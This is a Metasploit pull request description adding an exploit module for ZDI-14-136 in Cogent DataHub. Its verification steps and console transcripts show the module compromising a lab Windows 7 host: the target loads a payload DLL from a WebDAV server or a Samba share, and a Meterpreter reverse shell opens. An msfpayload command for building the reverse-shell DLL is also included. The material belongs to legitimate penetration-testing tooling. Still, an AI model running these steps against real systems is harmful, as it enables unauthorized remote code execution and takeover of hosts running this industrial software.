rapid7/metasploit-framework — pull request #3420 by jvazquez-r7 (2014-06-04 15:30:16+00:00)
Title: Add module for ZDI-14-136

Verification
--------------

- [ ] Install Windows 7 SP1 (32 bits)
- [ ] Install Cogent DataHub < 7.3.4. I've used an installer for 7.3.1 evaluation already had.

* Test the module with Webclient enabled and the webdav server.

- [ ] Enable the Webclient service on Windows 7 SP1.
- [ ] Run Cogent DataHub (I use to run as administrator, and be sure which network traffic is enabled)
- [ ] Use the module like in the next demo, root privileges will be needed to run the Webdav service, parameters
must be correctly configured.

```
msf > use exploit/windows/http/cogent_datahub_command
msf exploit(cogent_datahub_command) > set SRVHOST 172.16.158.1
SRVHOST => 172.16.158.1
msf exploit(cogent_datahub_command) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(cogent_datahub_command) > set LHOST 172.16.158.1
LHOST => 172.16.158.1
msf exploit(cogent_datahub_command) > set RHOST 172.16.158.164
RHOST => 172.16.158.164
msf exploit(cogent_datahub_command) > rexploit
[*] Reloading module...

[*] Started reverse handler on 172.16.158.1:4444
[*] Starting Shared resource at \\172.16.158.1\xgZ\tXV.dll
[*] Using URL: http://172.16.158.1:80/
[*] Server started.
[*] 172.16.158.164:80 - Sending injection...
[*] 172.16.158.164 cogent_datahub_command - GET => Payload
[*] Sending stage (770048 bytes) to 172.16.158.164
[*] Meterpreter session 1 opened (172.16.158.1:4444 -> 172.16.158.164:49163) at 2014-06-04 09:42:40 -0500
[*] Server stopped.

meterpreter >
[*] Session ID 1 (172.16.158.1:4444 -> 172.16.158.164:49163) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: rundll32.exe (1820)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2124
[+] Successfully migrated to process

meterpreter > getuid
Server username: WIN-RNJ7NBRK9L7\Juan Vazquez
meterpreter >
```

* Test the module with a shared resource

- [ ] Install a linux machine, samba and configure a "guest" accessible resource.
- [ ] Place a DLL with the payload in the shared resource

```
./msfpayload windows/meterpreter/reverse_tcp LHOST=172.16.158.1 LPORT=4444 D > /tmp/msf.dll
```

- [ ] Run Cogent DataHub (I use to run it as administrator, and be sure which network traffic is enabled)
- [ ] Use the module like in the next demo, the important thing is to set UNCPATH pointing to the DLL in the shared resource

```
msf exploit(cogent_datahub_command) > set UNCPATH \\\\172.16.158.165\\shared\\msf.dll
UNCPATH => \\172.16.158.165\shared\msf.dll
msf exploit(cogent_datahub_command) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(cogent_datahub_command) > set lhost 172.16.158.1
lhost => 172.16.158.1
msf exploit(cogent_datahub_command) > rexploit
[*] Reloading module...

[*] Started reverse handler on 172.16.158.1:4444
[*] 172.16.158.164:80 - Sending injection...
[*] Sending stage (770048 bytes) to 172.16.158.164
[*] Meterpreter session 2 opened (172.16.158.1:4444 -> 172.16.158.164:49200) at 2014-06-04 10:25:55 -0500

meterpreter >
[*] Session ID 2 (172.16.158.1:4444 -> 172.16.158.164:49200) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: rundll32.exe (2420)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3344
[+] Successfully migrated to process

meterpreter > getuid
Server username: WIN-RNJ7NBRK9L7\Juan Vazquez
meterpreter > sysinfo
Computer : WIN-RNJ7NBRK9L7
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter >
```